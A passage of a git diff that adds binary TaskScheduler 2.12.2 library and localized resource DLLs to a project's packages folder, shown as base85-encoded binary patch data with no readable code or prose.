x!mrV^W4)Wmx6=h)KI|S{ak_&Glm6}cYp?)5X!P$lf5dN_zXrAcrlW3w{{hQs(B=RD literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..586b00898865a05b96dc8975e794106eba178f8c GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..debbfcebe378449e942bdb665a5b04a91c219d83 GIT binary patch literal 10240 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 LYJaJtV}bt$UPe@G literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..216cf4b9c166ae03b155b4c03b7059712f1bc5de GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..599c52a54cf2c1d32bcfcc613de23e95e12ae538 GIT binary patch literal 335872 zcmcG%37i~7`8VF%J<~JWv%AUc&dzMkT|#zKnPYQ7NCG4Qxgp#~IKzE}qo60@$TCYn zE|tRrQKO&+A_5)=ii+X^o+uFTR#*@b6;$x}dHrO0zu%{-r)PFI5#RU!-%rwAUG>yc zPd)WKPgOm2%&Ozw>3ELgB=G-@Hyq~+c=KKE*eU5YTU|0=LL!{6K8XX@WJQ;$oeqV6w_aRu!7YoIw`=0ySZV&X$J?f|}$2DZv?+3tY8y)A?A7FHmG^CtUK?7Ko z&4r-k!k!yDK~jI-6d!at{TJ;F(r)0Rk{HO9GNXBh^(LU$++Q%2%yhQ&U$mHTd_-^z z8#whr5(l|V-IK)&pS(8NJ)3KltIto7R0-WU2L4J8(TTy261+(GP zJj*9y@rU>nK7oH9Cf*^U_2sEQf}rpZ_}Lx@;?2K4_3HBXHgS`MOu$XSF5I-xaS{5X z$O0yl$8QHt=qGqQ4?Lby=P|Lq86LBk|HR||9#gfpPPhM}rECj6qPAdoOj~RQQntw* z_I;;)Z?W%>@qK^2Z3vFGAvD^Cz-~vPMqsxiSrcI4;oDGGXcXFNnQg1f{qiNYt%$@Q z;?uO%8rxRH>I)^Nt@gET#bW#+KBcXo8+Re>4zXBYp8DemqHXV%c#`1{@u}~@qp@u- zW5eRF?`@j~cWi1~A!od%kS3!kO>Ha0NZZ=zm?C{IvP9|@6Qn=E=pxFdEc^m*Ut~c; z7N*r@fmFO1Ss+<&Mixltf0Bj%DTbBponHS%yHjTPh-8LgtLIZ)VQN>RGtqz1asu)Z z0Wv&BxIT%}DO{hj?@!zJefIqs`@Y}4AF%Jw+V|)92ESbAAT}EQ>Vinr5JX~zAQCYJ zk%%dXMC^9>H6nI9QZ*uWJJK~Gb~{>Yf|$Dg58zCRoUQ=*uqnI#7BT+P=kc`C%98vc zK1EuWev?VYjIwlJY9|7_6w>BcnI%R35T7EmOK)b95fT#V5AkWl_7W?$B-$V1Q^dBs zMm>nIJH$%(^3^dc01s+7sx6RCc^hNJYo%gw#`X!WJ1d&=Re!Z1 zIR%Ma|?R(oBY}3Qsp;)8%*i{TJ;`Kt3WshArR>S0tz_)tTzQXdeRd z5dku60ioU$sjhTqy8ohm3CKqT$Z)e!P>%q*c#u=yunH{3lFKmc~<_6(Sh*RG}sQPU@Hn`=If^3ww z0exRHba8ErZtEgYF2$+u08`PK23lb6IcCh}l?$YTxx6O7Hi)yS?*dpqhDW9}HKnH@ zu!V%T`RN;^0^dW-$w5k^ia}*$B%4}46$Q1omi<-@E(Fi`ZVb4lJf#@pwh7+{RJo<- z^;i6X@L#Bbjei{RF>v(>d~N`}Et5I+>vskYbh6|ld3qEB_$x>~8Vc;MWJ2F{E;QUb zZ$|^>tW-||TfhB$ZN-UEg0naio=NzvEKNOyr)f9WAxHpTnKHb%Qb9v`{u+O@g}im0 z^8ruZ8u)E8b;m}gx@qO1A<7*Sa`#97fx9d@;?GQH-l~{Cs}P^5)8bylmTRa$LuE3F zvhSx(4oXQsb>^DDjT^vMPlEx{_*XK&;fv?A19uy6yRb`MLM1@IUmS3~yh3hd`dryr2K;RR9=rn 